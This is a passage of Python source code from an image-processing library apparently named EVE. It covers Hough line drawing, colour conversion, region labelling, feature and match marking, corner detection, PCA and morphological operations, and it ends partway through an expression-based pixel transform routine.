peaks = find_peaks (acc, threshold=threshold)
if max_peaks is None:
max_peaks = len (peaks)
# If the user wants to display what has been found, show them.
if dispacc:
dacc = log1 (acc)
contrast_stretch (dacc)
mark_peaks (dacc, peaks[:max_peaks], v=255, disp=True,
name="Hough peaks")
if disp:
nn = max (ny, nx)
d = make_three_channel (im)
for val, r, a in peaks[0:max_peaks]:
radius = rvals[r]
angle = avals[a]
x0 = int (radius * math.cos (angle))
y0 = int (radius * math.sin (angle))
x1 = x0 - int (nn * math.sin(angle))
y1 = y0 + int (nn * math.cos(angle))
x2 = x0 + int (nn * math.sin(angle))
y2 = y0 - int (nn * math.cos(angle))
draw_line (d, y1, x1, y2, x2, v)
display (d, name="Lines from Hough peaks")
return peaks, acc, rvals, avals
#-------------------------------------------------------------------------------
def hsv_to_rgb (im):
"""
Convert an image from HSV space to RGB.
This routine converts an image in which the hue, saturation and
value components are in channels 0, 1 and 2 respectively to the RGB
colour space. It is assumed that hue lies in the range [0,359],
while saturation and value are percentages; these are compatible
with the popular display program 'xv'. The red, green and blue
components are returned in channels 0, 1 and 2 respectively, each in
the range [0,max_image_value].
This routine is adapted from code written by Frank Warmerdam
<warmerdam@pobox.com> and Trent Hare; see
http://svn.osgeo.org/gdal/trunk/gdal/swig/python/samples/hsv_merge.py
Arguments:
im image to be converted (modified)
"""
h = im[:,:,0] / 360.0
s = im[:,:,1] / 100.0
v = im[:,:,2] * max_image_value / 100.0
i = (h * 6.0).astype(int)
f = (h * 6.0) - i
p = v * (1.0 - s)
q = v * (1.0 - s * f)
t = v * (1.0 - s * (1.0 - f))
im[:,:,0] = i.choose (v, q, p, p, t, v)
im[:,:,1] = i.choose (t, v, v, q, p, p)
im[:,:,2] = i.choose (p, p, t, v, v, q)
#-------------------------------------------------------------------------------
def image (fromwhat, type=numpy.float32):
"""
Create and return an EVE image.
Arguments:
fromwhat the source from which the image is to be created, one of:
a string: the name of a file to be read in
a numpy array: the new image is a copy of this image
a list or tuple: the dimensions (ny, nx, nc)
type the type of the image to be ceated (default: numpy.float32)
"""
if isinstance (fromwhat, str):
fn = fromwhat.lower ()
# We read in PNM-format images ourselves (albeit slowly) so that
# we work on machines where PIL isn't available (such as the author's
# Planet Gemini under termux).
if fn.endswith (".pbm") or fn.endswith (".pgm") or \
fn.endswith (".ppm") or fn.endswith (".pnm"):
return read_pnm (fromwhat)
# Otherwise, use PIL to read in the image.
from PIL import Image
fn = os.path.expanduser (fromwhat)
pic = Image.open (fn)
# Something seems to be broken with at least 16-bit TIFFs...
if pic.mode == "I;16":
temp = numpy.fromstring(pic.tostring(), dtype=numpy.uint16)
im = numpy.asarray (temp, dtype=type)
nc = 1
else:
im = numpy.asarray (pic, dtype=type)
nc = len (pic.getbands ())
nx, ny = pic.size
im.shape = [ny, nx, nc]
elif isinstance (fromwhat, numpy.ndarray):
fromwhat = reshape3 (fromwhat)
ny, nx, nc = fromwhat.shape
im = numpy.zeros ((ny, nx, nc))
elif isinstance (fromwhat, list) or isinstance (fromwhat, tuple):
im = numpy.zeros (fromwhat, dtype=type)
else:
raise ValueError ('Illegal argument type')
return im
#-------------------------------------------------------------------------------
def image_from_values (shape, vals, type=numpy.float32):
"""
Create an image from the three-element list or tuple `shape` and set it
to the values in `vals`, which must be a 1-D list containing the same
number of values. The image that has been created and set is returned.
The routine is intended principally for testing EVE.
Arguments:
shape a three-element list or tuple containing (ny, nx,nc)
vals a list containing the values to be stored in the image
type data type of the created image (default: numpy.float32)
"""
im = image (shape, type=type)
el = 0
ny, nx, nc = shape
for y in range (0, ny):
for x in range (0, nx):
for c in range (0, nc):
im[y,x,c] = vals[el]
el += 1
return im
#-------------------------------------------------------------------------------
def image_to_values (im):
"""
Return the values stored in the elements of `im` as a list.
The routine is intended principally for testing EVE.
Arguments:
im image whose values are to be listed
"""
vals = []
ny, nx, nc = sizes (im)
for y in range (0, ny):
for x in range (0, nx):
for c in range (0, nc):
vals += [im[y,x,c]]
return vals
#-------------------------------------------------------------------------------
def insert (im, reg, yc, xc, operation='='):
"""
Insert image reg into im, centred at (yc, xc).
Arguments:
im image into which the region is to be inserted (modified)
reg image which is to be inserted
yc y-value of im at which the centre of reg is to be inserted
xc x-value of im at which the centre of reg is to be inserted
operation way in which im is inserted into output, one of
'=' (assign)
'+' (add)
'-' (subtract)
'*' (multiply),
'/' (divide)
"""
im = reshape3 (im)
reg = reshape3 (reg)
ny, nx, nc = sizes (reg)
ylo = yc - ny // 2
yhi = ylo + ny
xlo = xc - nx // 2
xhi = xlo + nx
if operation == '=':
im[ylo:yhi,xlo:xhi,:] = reg
elif operation == '+':
im[ylo:yhi,xlo:xhi,:] += reg
elif operation == '-':
im[ylo:yhi,xlo:xhi,:] -= reg
elif operation == '*':
im[ylo:yhi,xlo:xhi,:] *= reg
elif operation == '/':
im[ylo:yhi,xlo:xhi,:] /= reg
else:
raise ValueError ('Invalid operation type')
#-------------------------------------------------------------------------------
def invoke_image_program (category, delete=True, im=None):
global PROGRAMS
fnout = None
for prog, inv in PROGRAMS[category]:
if find_in_path (prog):
cmd = inv
# Generate any output file needed.
for phrase in ["%o_pgm", "%o_ppm", "%o_png"]:
if cmd.find (phrase) >= 0:
fnout = tempfile.mkstemp (suffix="." + phrase[-3:])[1]
cmd = cmd.replace (phrase, fnout)
write (im, fnout)
for phrase in ["%i_pgm", "%i_ppm", "%i_png"]:
if cmd.find (phrase) >= 0:
fnin = tempfile.mkstemp (suffix="." + phrase[-3:])[1]
cmd = cmd.replace (phrase, fnin)
# Execute the program.
# print ("[" + cmd + "]")
os.system (cmd)
break
# Read in the result. There seems to be a bug on Linux when using scrot
# under Ubuntu 20.04: the filename has a trailing "_000.png" rather than
# ".png". Try with the proper filename and if that doesn't work, try the
# 'wrong' one.
try:
input = image (fnin)
fnin_000 = ""
except:
fnin_000 = fnin[:-4] + "_000.png"
input = image (fnin_000)
# Tidy up by deleting temporary files.
if delete:
os.remove (fnin)
if fnin_000 != "":
os.remove (fnin_000)
if fnout is not None:
os.remove (fnout)
return input
#-------------------------------------------------------------------------------
def label_regions (im, con8=False):
"""
Given a segmented image, return an image with its regions labelled and
the number of regions found.
Arguments:
im image to be labelled
con8 if True, consider all 8 nearest neighbours
if False, consider only 4 nearest neighbours (default)
"""
import scipy.ndimage
if con8: ele = [[[ 1, 1, 1,], [ 1, 1, 1,], [ 1, 1, 1,]],
[[ 1, 1, 1,], [ 1, 1, 1,], [ 1, 1, 1,]],
[[ 1, 1, 1,], [ 1, 1, 1,], [ 1, 1, 1,]]]
else: ele = None
res, nlabs = scipy.ndimage.measurements.label (im, structure=ele)
return res, nlabs
#-------------------------------------------------------------------------------
def label_regions_slow (im, con8=True):
"""
Given a segmented image, return an image with its regions labelled
and the number of regions found.
Arguments:
im image to be labelled
con8 if True, consider all 8 nearest neighbours
if False, consider only 4 nearest neighbours
"""
im = reshape3 (im)
ny, nx, nc = sizes (im)
lab = image ((ny, nx, nc), type=numpy.int32)
vals = [0, 0, 0, 0]
labs = [1, 0, 0, 0]
# The upper left pixel is in region zero.
lastlabel = 0
equiv = [lastlabel]
lab[0,0,0] = lastlabel
# Process the rest of the first row of the image.
y = 0
for x in range (1, nx):
if im[y,x,0] != im[y,x-1,0]:
lastlabel += 1
equiv.append (lastlabel)
lab[y,x,0] = lastlabel
# Process the first column of the image.
x = 0
for y in range (1, ny):
if im[y,x,0] == im[y-1,x,0]:
lv = lab[y-1,x,0]
else:
lastlabel += 1
equiv.append (lastlabel)
lv = lastlabel
lab[y,x,0] = lv
# Process the remainder of the image.
for y in range (1, ny):
y1 = y - 1
for x in range (1, nx):
if con8: nv = 4
else: nv = 2
x1 = x - 1
x2 = x + 1
if x2 >= nx - 1 and con8: lastcol = True; nv -= 1
else: lastcol = False
val = im[y,x,0]
# Get the four neighbours' values and labels, taking care not
# to index off the end of the image.
vals[0] = im[y, x1,0]; labs[0] = lab[y, x1,0]
vals[1] = im[y1,x, 0]; labs[1] = lab[y1,x, 0]
if con8:
vals[2] = im[y1,x1,0]; labs[2] = lab[y1,x1,0]
if not lastcol:
vals[3] = im[y1,x2,0]; labs[3] = lab[y1,x2,0]
inreg = False
for i in range (0, nv):
if val == vals[i]: inreg = True
if not inreg:
# We're in a new region.
lastlabel += 1
equiv.append (lastlabel)
lv = lastlabel
else:
# We must be in the same region as a neighbour.
matches = []
for i in range (0, nv):
if val == vals[i]: matches.append (labs[i])
matches.sort ()
lv = int(matches[0])
for v in matches[1:]:
if equiv[v] > lv:
equiv[v] = lv
elif lv > equiv[v]:
equiv[lv] = equiv[v]
lab[y,x,0] = lv
# Tidy up the equivalence table.
remap = list()
nc = -1
for i in range (0, len(equiv)):
if equiv[i] == i:
nc += 1
v = nc
else:
v = i
while equiv[v] != v:
v = equiv[v]
v = remap[v]
remap.append (v)
# Make a second pass through the image, re-labelling the regions, then
# return the labelled image.
for y in range (0, ny):
for x in range (0, nx):
lab[y,x,0] = remap[lab[y,x,0]]
return lab, maxval(lab)
#-------------------------------------------------------------------------------
def labelled_region (labim, lab, bg=0.0, fg=max_image_value):
"""
Return region with label `lab` from labelled image `labim`.
Arguments:
im labelled image
lab the label that defines which region of the image to return
bg value to which pixels outside the region are set (default: 0.0)
fg value to which pixels inside the region are set
(default: max_image_value)
"""
im = image (labim)
set (im, bg)
im[numpy.where (labim == lab)] = fg
return im
#-------------------------------------------------------------------------------
def log1 (im):
"""
Return the result of adding unity to every pixel of `im` and taking its
logarithm; this keeps zeros unchanged.
Arguments:
im image
"""
im = numpy.log (im + 1)
return im
#-------------------------------------------------------------------------------
def lut (im, table, stretch=False, limits=None):
"""
Use a lookup table to adjust pixel values.
Arguments:
im image to be adjusted (modified)
table look-up table used to adjust pixel values
stretch if True, the image will first be contrast-stretched
between limits
limits a two-element list containing the minimum and maximum
values to be used for scaling the extrema of the image
after every pixel of the image has been processed
(default: [0, max_image_value])
"""
im = reshape3 (im)
ny, nx, nc = sizes (im)
ntable = len (table)
if stretch:
if limits is None:
lo = 0.0
hi = max_image_value
else:
lo, hi = extrema (im)
contrast_stretch (im, low=lo, high=hi)
for y in range (0, ny):
for x in range (0, nx):
for c in range (0, nc):
v = im[y,x,c]
if v >= 0 and v < ntable: im[y,x,c] = table[int(v)]
#-------------------------------------------------------------------------------
def make_three_channel (im):
"""
Return a three-channel version of im.
"""
im = reshape3 (im)
ny, nx, nc = sizes (im)
# If im is a three-channel one, return it.
if nc == 3:
return im
# If im isn't a three-channel image, make it mono then convert it into
# a three-channel grey-scale one.
if nc == 1:
im1 = im
else:
im1 = mono (im)
im3 = image ((ny, nx, 3))
im3[:,:,0] = im1[:,:,0].copy ()
im3[:,:,1] = im1[:,:,0].copy ()
im3[:,:,2] = im1[:,:,0].copy ()
return im3
#-------------------------------------------------------------------------------
def mark_at_position (im, y, x, v=max_image_value, symbol='.', size=9):
"""
Plot a marker in an image.
Arguments:
im image in which the positions are to be marked (modified)
y y-position of the centre of the mark
x x-position of the centre of the mark
value value to which peak locations will be set
(default: max_image_value)
symbol what is to be plotted, one of (default: '+'):
'.' a single pixel
'+' a vertical cross
'x' a diagonal cross
'o' a 3 x 3 circle
size size of the plotting symbol (default: 9)
"""
im = reshape3 (im)
half = math.ceil (size / 2)
yy = y - half
xx = x - half
if symbol == '.':
im[y,x,:] = v
elif symbol == '+':
draw_line_fast (im, yy, x, yy+size+1, x, v)
draw_line_fast (im, y, xx, y, xx+size+1, v)
elif symbol == 'x':
draw_line_fast (im, yy, xx, yy+size+1, xx+size+1, v)
draw_line_fast (im, yy, xx+size+1, yy+size+1, xx, v)
elif symbol == 'o':
im[y-1,x-1] = im[y-1,x] = im[y-1,x+1] = v
im[y,x-1] = im[y,x] = im[y,x+1] = v
im[y+1,x-1] = im[y+1,x] = im[y+1,x+1] = v
else:
raise ValueError ('Unrecognised plotting point: "' + symbol + '"')
#-------------------------------------------------------------------------------
def mark_features (im, locs, v=max_image_value, fac=1.0, fast=False,
disp=True, scale=1.0):
"""
Mark the positions, sizes and orientations of features in an image.
Given a list of feature locations such as those returned by SIFT, in
which each element of the list consists of a list of y-position,
x-position, scale and orientation, this routine marks them on the
image im. Each line drawn is drawn with value val and is scaled by
the factor fac. If disp is True, the result is displayed.
Arguments:
im image in which the features are to be drawn (modified)
locs a list of the features to be drawn
fac scale factor for features drawn on im (default: 1.0)
fast if True, lines are drawn for speed rather than appearance
(default: False)
disp if True, the resulting image is displayed (default: True)
scale factor to multiply the image by before marking points
(default: 1.0)
"""
im = reshape3 (im)
im *= scale
fac = 1.0
ny, nx, nc = sizes (im)
for y, x, s, o in locs:
yy = y + fac * s * math.sin (-o)
xx = x + fac * s * math.cos (-o)
if yy < 0: yy = 0
if yy >= ny: yy = ny - 1
if xx < 0: xx = 0
if xx >= nx: xx = nx - 1
draw_line (im, y, x, yy, xx, v, fast=fast)
if disp: display (im)
#-------------------------------------------------------------------------------
def mark_matches (im1, im2, matches, v=max_image_value, fast=False,
threshold=0.0, disp=True, name="Matches", number=False):
"""
Draw lines between corresponding match points, returning the result.
Arguments:
im1 first image for which matches have been found
im2 second image for which matches have been found
matches matches between features found by match_descriptors and
refined by select_matches
v value with which the line will be drawn
(default: max_image_value)
fast if True, lines are drawn for speed rather than appearance
(default: False)
disp if True, the resulting image will be displayed
(default: True)
name name passed to eve.display if the image is displayed
(default: "Matches")
number if True, add the match score alongside each line
(default: False)
Given im1 and im2, a new image is formed whch displays them side by
side, and then lines are drawn between corresponding points stored
in matches. The routine is intended for displaying the results of
feature found by SIFT, matched by match_descriptors, and refined by
select_matches.
"""
im1 = reshape3 (im1)
ny1, nx1, nc1 = sizes (im1)
im2 = reshape3 (im2)
ny2, nx2, nc2 = sizes (im2)
ny = ny1 if ny1 > ny2 else ny2
nx = nx1 + nx2
nc = nc1 if nc1 > nc2 else nc2
dim = image ((ny,nx,nc))
dim[0:ny1,0:nx1,0:nc1] = im1
dim[0:ny2,nx1:,0:nc2] = im2
for y1, x1, y2, x2, val in matches:
y1 = int (y1)
x1 = int (x1)
y2 = int (y2)
x2 = int (x2) + nx1
draw_line (dim, y1, x1, y2, x2, v, fast=fast)
if number:
offset = 3
if x2 + character_width + offset >= nx1 + nx2:
draw_text (dim, '%g' % val, y2, x2-offset, v, align="r")
else:
draw_text (dim, '%g' % val, y2, x2+offset, v, align="l")
if disp: display (dim, name=name)
return dim
#-------------------------------------------------------------------------------
def mark_peaks (im, pos, v=max_image_value, disp=False, scale=1.0,
symbol='+', size=9, name='Peaks'):
"""
Mark the positions of peaks in an image, such as those returned by
find_peaks().
Arguments:
im image in which the peak positions are to be marked (modified)
pos list of peaks, each element itself a list of [height, y, x]
v value to which peak locations will be set
(default: max_image_value)
disp if True, display the marked-up image
scale multiply the image by the factor before marking points
symbol what is to be plotted, one of (default: '+'):
'.' a single pixel
'+' a vertical cross
'x' a diagonal cross
'o' a 3 x 3 blob
size size of the plotting symbol (default: 9)
name name for eve.display if the image is displayed
(default: 'Peaks')
"""
im = reshape3 (im)
im *= scale
for ht, y, x in pos:
mark_at_position (im, y, x, v, symbol, size)
if disp: display (im, name=name)
#-------------------------------------------------------------------------------
def mark_positions (im, pos, v=max_image_value, disp=False, scale=1.0,
symbol='+', size=9, name='Positions'):
"""
Mark positions in an image.
Arguments:
im image in which the positions are to be marked (modified)
pos list of positions, each element itself a list of [y, x]
v value to which peak locations will be set
(default: max_image_value)
disp if True, display the marked-up image (default: False)
scale multiply the image by the factor before marking points
symbol what is to be plotted, one of (default: '+'):
'.' a single pixel
'+' a vertical cross
'x' a diagonal cross
size size of the plotting symbol (default: 9)
name name for eve.display if the image is displayed
(default: 'Positions')
"""
im = reshape3 (im)
im *= scale
for y, x in pos:
mark_at_position (im, y, x, v, symbol, size)
if disp: display (im, name=name)
#-------------------------------------------------------------------------------
def match_descriptors_euclidean (desc1, desc2):
"""
Given pairs of descriptors from SIFT or similar, return the Euclidean
distances between all pairs, sorted into ascending order.
Arguments:
desc1 first set of descriptors
desc2 second set of descriptors
"""
score = []
for i1 in range (0, len(desc1)):
d1 = desc1[i1]
for i2 in range (0, len(desc2)):
d2 = desc2[i2]
s = ((d1 - d2)**2).sum()
score.append ([s, i1, i2])
score.sort()
return score
#-------------------------------------------------------------------------------
def match_descriptors_anglewise (d1, d2, factor=0.6):
"""
Given pairs of normalized descriptors from SIFT or similar, return
their best matches sorted into ascending order of match score.
The match score is calculated as follows. For each descriptor in
d1, the scalar product is calculated with all descriptors in d2 and
the best value (smallest angle between scalar products) taken. If
that value is greater than factor of the second-best value, the
match is considered ambiguous and discarded; otherwise, triplet of
the score and the indices into d1 and d2 are inserted into a list of
scores. When all possible combinations of d1 and d2 have been
considered, that list is sorted into ascending order and returned.
Arguments:
d1 first set of descriptors
d2 second set of descriptors
factor largest permissible value for a match (default: 0.6)
"""
nd = d1.shape[0]
score = []
for i in range (0,nd):
inprod = numpy.dot (d1[i], d2.T)
inprod[numpy.where (inprod > 1.0)] = 1.0
inprod[numpy.where (inprod < -1.0)] = -1.0
angles = numpy.arccos (inprod)
ix = numpy.argsort (angles)
if angles[ix[0]] < factor * angles[ix[1]]:
score.append ([angles[ix[0]], i, ix[0]])
score.sort()
return score
#-------------------------------------------------------------------------------
def maxval (im):
"""
Return the maximum value of the pixels of an image.
Arguments:
im image for which the maximum value is to be found
"""
return im.max()
#-------------------------------------------------------------------------------
def mean (im):
"""
Return the mean of the pixel values an image.
Arguments:
im image for which the mean value is to be found
"""
im = reshape3 (im)
ny, nx, nc = sizes (im)
return numpy.sum (im) / (ny * nx * nc)
#-------------------------------------------------------------------------------
def minval (im):
"""
Return the minimum of the pixel values of an image.
Arguments:
im image for which the minimum value is to be found
"""
return im.min()
#-------------------------------------------------------------------------------
def modulus_squared (im):
"""
Return the squared modulus of each pixel of an image, usually to form
the power spectrum after a Fourier transform.
Arguments:
im image for which the power spectrum is to be formed
"""
t = im * numpy.conjugate (im)
return t.real.copy ()
#-------------------------------------------------------------------------------
def mono (im):
"""
Average the channels of colour image to give a monochrome one,
returning the result.
Arguments:
im image to be converted to monochrome
"""
im = reshape3 (im)
ny, nx, nc = sizes (im)
monoim = image ([ny, nx, 1])
for c in range (0, nc):
monoim[:,:,0] += im[:,:,c]
monoim /= nc
return monoim
#-------------------------------------------------------------------------------
def mono_to_rgb (im):
"""
Produce a three-channel image of a monochrome image, returning the
result.
Arguments:
im image to be converted from monochrome to colour
"""
im = reshape3 (im)
ny, nx, nc = sizes (im)
cim = image ([ny, nx, 3])
cim[:,:,0] = im[:,:,0]
cim[:,:,1] = im[:,:,0]
cim[:,:,2] = im[:,:,0]
return cim
#-------------------------------------------------------------------------------
def moravec (im, threshold=10):
"""
Return the result of applying Moravec's corner detector on image `im`.
A list of peaks is returned in the format produced by EVE routine
`find_peaks`.
Arguments:
im the image in which the corners are to be found
threshold minimum difference from background to be considered a corner
(default: 10)
"""
shifts = [(1, 0), (1, 1), (0, 1), (-1, 1)]
ny, nx, nc = sizes (im)
vals = image ((ny, nx, nc))
for y in range (1, ny-1):
for x in range (1, nx-1):
lo = huge
for s in shifts:
diff = im[y + s[1], x + s[0]]
diff = (diff - im[y,x])**2
if diff < lo: lo = diff
vals[y,x,0] = lo
return find_peaks (numpy.sqrt(vals), threshold)
#-------------------------------------------------------------------------------
def mse (im1, im2):
"""
Return the mean-squared error (mean-squared difference) between two
images.
Arguments:
im1 image form which im2 is to be subtracted
im2 image to be subtracted from im1
"""
im1 = reshape3 (im1)
ny, nx, nc = sizes (im1)
return ssd (im1, im2) / float(ny * nx * nc)
#-------------------------------------------------------------------------------
def opening (im, mask):
"""
Perform a morphological opening on `im` with `mask`, returning the result.
Arguments:
im image to be processed
mask mask image
"""
eroded = shrink (im, mask)
return expand (eroded, mask)
#-------------------------------------------------------------------------------
def oriented_bounding_box (im, disp=False, v=255):
"""
Return the bounding box of a feature in binary image `im` as
`[ystart, xstart, ystop, xstop]`.
Arguments:
im image for which the bounding box is to be returned
disp if True, display the bounding box on the image (default: False)
v value used to draw the bounding box on the image (default: 255)
"""
# Adapted from
# https://stackoverflow.com/questions/32892932/create-the-oriented-bounding-box-obb-with-python-and-numpy
y, x, c = numpy.where (im == 255)
npts = len (y)
if npts <= 0:
print ("There appear to be no foreground pixels!", file=sys.stderr)
return None
elif npts == 1:
#print ("There are too few foreground pixels!", file=sys.stderr)
return None
pts = numpy.zeros ((npts,2), dtype="int")
for i in range (0, npts):
pts[i,1] = x[i]
pts[i,0] = y[i]
ca = numpy.cov (pts, y=None, rowvar=0, bias=1)
v, vect = numpy.linalg.eig (ca)
tvect = numpy.transpose (vect)
# Use the inverse of the eigenvectors as a rotation matrix and rotate the
# points so they align with the x and y axes.
ar = numpy.dot (pts,numpy.linalg.inv (tvect))
# Get the minimum and maximum x and y.
mina = numpy.min (ar, axis=0)
maxa = numpy.max (ar, axis=0)
diff = (maxa - mina) / 2
# The centre is just midway between the min and max x,y.
centre = mina + diff
# Work out the four corners by subtracting and adding half the bounding
# boxes' height and width from the centre.
corners = numpy.array ([centre + [-diff[0], -diff[1]],
centre + [ diff[0], -diff[1]],
centre + [ diff[0], diff[1]],
centre + [-diff[0], diff[1]],
centre + [-diff[0], -diff[1]]])
# Use the the eigenvectors as a rotation matrix and rotate the corners and
# the centre back.
corners = numpy.dot (corners, tvect)
centre = numpy.dot (centre, tvect)
# If required, display the result.
if disp:
for c in range (1, 5):
draw_line_fast (im, corners[c-1][0], corners[c-1][1],
corners[c][0], corners[c][1], v=v)
display (im)
return corners[:4]
#-------------------------------------------------------------------------------
def pca_channels (im):
"""
Perform a principal component analysis of the channels of im,
returning the eigenvalues, kernel (eigenvectors) and means. For an
image with nc channels, there are nc eigenvalues etc; this form of
the PCA is best-suited to analysing the similarity of images or for
reducing noise. This form of the PCA is not suitable for
applications such as eigenfaces -- use pca_images for that.
Arguments:
im image for which the PCA is to be calculated (modified)
"""
im = reshape3 (im)
ny, nx, nc = sizes (im)
covmat, aves = covariance_matrix (im)
vals, vecs = numpy.linalg.eigh (covmat)
perm = numpy.argsort(-vals) # sort in descending order of eigenvalue
vecs = vecs[:,perm].T # transpose to give the kernel
vals = vals[perm]
im = pca_channels_project (im, vecs, aves)
return vals, vecs, aves
#-------------------------------------------------------------------------------
def pca_channels_project (im, vecs, aves):
"""
Project the image im using PCA eigenvectors vecs and channel means
aves, both of which are produced by EVE's routine pca.
Arguments:
im image for which the PCA is to be calculated (modified)
vecs eigenvectors from eve.pca_channels
aves channel means from eve.pca_channels
"""
im = reshape3 (im)
ny, nx, nc = sizes (im)
for y in range (0, ny):
for x in range (0, nx):
v = im[y,x,:] - aves
im[y,x,:] = numpy.dot (vecs, v)
#-------------------------------------------------------------------------------
def pca_decompose (data, turk_pentland=None):
"""
Perform a principal component analysis a set of data, returning the
eigenvalues, kernel (eigenvectors) and means.
Each row (first subscript) of data needs to hold one set of samples
(typically an image), while the columns (second subscript) hold the
equivalent samples from a series of images (i.e., the same pixel in
each image).
Arguments:
data data to be decomposed
turk_pentland if True, eigenfaces-style decomposition is used
if False, conventional decomposition is performed
if unset, eigenfaces-style is done if the first
dimension is less than or equal to the second
"""
# Mean-zero the data.
nims, nvals = data.shape
aves = data.mean (axis=0)
data -= aves
# Do the decomposition.
if turk_pentland is None: turk_pentland = nims <= nvals
if turk_pentland:
# Using the `trick' due to Turk and Pentland.
covmat = numpy.dot (data, data.T) / nvals
ctrace = covmat.trace()
evals, evecs = numpy.linalg.eigh (covmat)
evecs = numpy.dot (data.T, evecs)
# We need to normalise the eigenvectors.
for i in range (0, nims):
evecs[:,i] /= numpy.linalg.norm (evecs[:,i])
else:
# Straightforward (as in my PhD).
covmat = numpy.dot (data.T, data) / nvals
ctrace = covmat.trace()
evals, evecs = numpy.linalg.eigh (covmat)
# Sort the eigenvalues and eigenvectors into decreasing magnitude
# of eigenvalue.
idx = numpy.argsort (-evals)
evals = evals[idx]
evecs = evecs[:,idx].T
return evals, evecs, aves
#-------------------------------------------------------------------------------
def pca_images (imageset, turk_pentland=None):
"""
Perform a principal component analysis of a list of images,
returning the eigenvalues, kernel (eigenvectors) and means. This
routine is suitable for use in applications such as eigenfaces.
Arguments:
imageset list of image for which the PCA is to be calculated
turk_pentland if True, eigenfaces-style decomposition is used
if False, conventional decomposition is performed
if unset, eigenfaces-style is done if the first
dimension is less than or equal to the second
"""
# Get the imge dimensions and create an array to hold all the data in a
# form suitable for the decomposition, i.e. one image per row and as many
# rows as there were images in the set.
nims = len (imageset)
im = reshape3 (imageset[0])
ny, nx, nc = sizes (im)
nvals = ny * nx
data = numpy.zeros ((nims, nvals))
# Fill the data array, converting to monochrome and re-sizing if required.
for i in range (0, nims):
im = reshape3 (imageset[i])
imy, imx, imc = sizes (im)
if imc != 1: im = mono (im)
if imy != ny or imx != nx: im = resize (im, ny, nx, 2)
data[i,:] = im.reshape (nvals)
# Decompose the data and return the result.
return pca_decompose (data, turk_pentland)
#-------------------------------------------------------------------------------
def pca_project (im, kernel, aves):
"""
Project im into the principal components defined by kernel and aves,
returning the vector of coefficients that describe im.
Arguments:
im image to be projected onto the principal components
kernel the PCA kernel returned by eve.pca_images
aves the PVA means returned by eve.pca_images
"""
p = numpy.dot (im.reshape (1, -1) - aves, kernel.T)
return p[0]
#-------------------------------------------------------------------------------
def pca_reconstruct (vals, kernel, aves):
"""
Reconstruct an image from a set of coefficients following principal
component analysis. The data that are returned will need to be
reshaped into the correct image dimensions.
Arguments:
vals vector of coefficients that describe the image to be
reconstructed
kernel the PCA kernel returned by eve.pca_images
aves the PVA means returned by eve.pca_images
"""
return numpy.dot (vals, kernel) + aves
#-------------------------------------------------------------------------------
def perimeter (im, size=3, plus=False):
"""
Given an image (usually containing only the values 0 and 255), find the
perimeter of regions by performing a shrink and subtracting that from the
original image.
Arguments:
im image for which the perimeter is to be found (modified)
mask size of the mask used in the shrink (default: 3)
plus if True, use a +-shaped mask (default: False)
"""
mask = image ((size,size,1))
if plus:
n2 = size // 2
draw_line (mask, 0, n2, size, n2, v=1)
draw_line (mask, n2, 0, n2, size, v=1)
else:
set (mask, 1.0)
sh = shrink (im, mask)
im -= sh
#-------------------------------------------------------------------------------
def pico (im, transform, fail=0, maxerr=10):
"""
Apply `transform` to each pixel of the image `im`, where `transform` is
a string containing an expression to be applied to each pixel in turn.
The result of applying the transform is returned; the input image is
unchanged.
The book "Beyond Photography" by Gerard J. Holzmann (Prentice-Hall,
1988) describes the use of a picture editor called `popi` to perform
transformations on images, and `popi` was a portable version of a
previous picture editor called `pico`, described in "PICO —-- A
Picture Editor" by Gerard J. Holzmann (AT&T Technical Journal Vol. 66,
No. 2 pp. 2-13, March/April 1987); see http://spinroot.com/pico/ for
more details. This routine was inspired by Holzmann's `pico`, though
it uses a different syntax for the transformations.
The following variables can be used in `transform`:
y -- the y location of the pixel being processed
x -- the x location of the pixel being processed
r -- the radius of the pixel being processed
a -- the angle of the pixel being processed in radians
Y -- the maximum y location of the pixel being processed
X -- the maximum x location of the pixel being processed
R -- the maximum radius of the image
Z -- the largest grey-level value that can be used
H -- the largest grey-level value in the image
L -- the smallest grey-level value in the image
hist[] -- array containing the histogram of the image
ycart(r,a) -- returns the y-value corresponding to polar
coordinates r,a
xcart(r,a) -- returns the x-value corresponding to polar
coordinates r,a
It is quite easy for `transform` to fail, in which case the relevant
output pixel is set to `fail`. The first `maxerr` errors generated
are written to the standard output stream; subsequent errors are
handled silently but the total number generated is written out after
the whole image has been processed.
Arguments
im the image to be processed
transform a string describing the operation to be performed
fail value to which a pixel is set if `transform` generates an
error (default: 0)
maxerr the maximum number of errors reported (default: 10)
Some typical transforms are:
contrast reversal:
new[y,x] = H - im[y,x]
contrast stretching:
new[y,x] = Z * (im[y,x] - L) / (H - L)
logarithmic grey-scaling:
new[y,x] = Z * math.log (im[y,x,0]) / math.log(Z)
solarization of blue channel:
new[y,x] = (Z - im[y,x]) if (im[y,x,2] < H/2) else im[y,x]
mirroring:
new[y,x] = im[y,X-1-x]
vertical flip:
new[y,x] = im[Y-1-y,x]
shrink:
new[y,x] = im[y*5,x*3]
enlarge:
new[y,x] = im[y//3,x//3]
3x3 blur:
new[y,x] = (im[y-1,x-1] + im[y-1,x] + im[y-1,x+1] +
im[y ,x-1] + im[y ,x] + im[y ,x+1] +
im[y+1,x-1] + im[y+1,x] + im[y+1,x+1]) // 9
edge-detect:
new[y,x] = im[y,x] - im[y+2, x+2]
shrink the centre:
new[y,x] = im[ycart(5*math.sqrt(r),a), xcart(5*math.sqrt(r),a)]
expand the centre:
new[y,x] = im[ycart(r*r/R,a), xcart(r*r/R,a)]
swirl:
new[y,x] = im[ycart(r,a+2*r), xcart(r,a+2*r)]
the tartan of this image:
new[y,x] = hist[y] + hist[x]
superimpose a grid:
new[y,x] = Z if (x % 10 == 0) or (y % 10 == 0) else im[y,x]
make a triangle pattern:
new[y,x] = y % x
You can undoubtedly think of others.
"""
# Remove extraneous whitespace from the transform: leading whitespace
# causes eval to fail.
transform = transform.strip ()
# Create an output image of the same size as the input one.
new = image (im)
# Set a few useful values that can be used in the expression, mostly
# limiting values.
ny, nx, nc = sizes (im)
yc = ny // 2
xc = nx // 2
Y = ny
X = nx
Z = int (max_image_value)
L = minval (im)
H = maxval (im)
R = math.sqrt ((max (yc, xc) + 1)**2)
junk, hist = histogram (im, bins=Z+1, limits=[0, Z])
# Routines to convert back from polar to Cartesian.
def xcart (r, a):
return int (r * math.cos (a * math.pi / 180) + 0.5) + xc
def ycart (r, a):
return int (r * math.sin (a * math.pi / 180) + 0.5) + yc
# Cycle over the pixels of im, evaluating the expression for each pixel
# and handling any places where the expression fails.
nerrs = 0
for y in range (0, ny):
for x in range (0, nx):
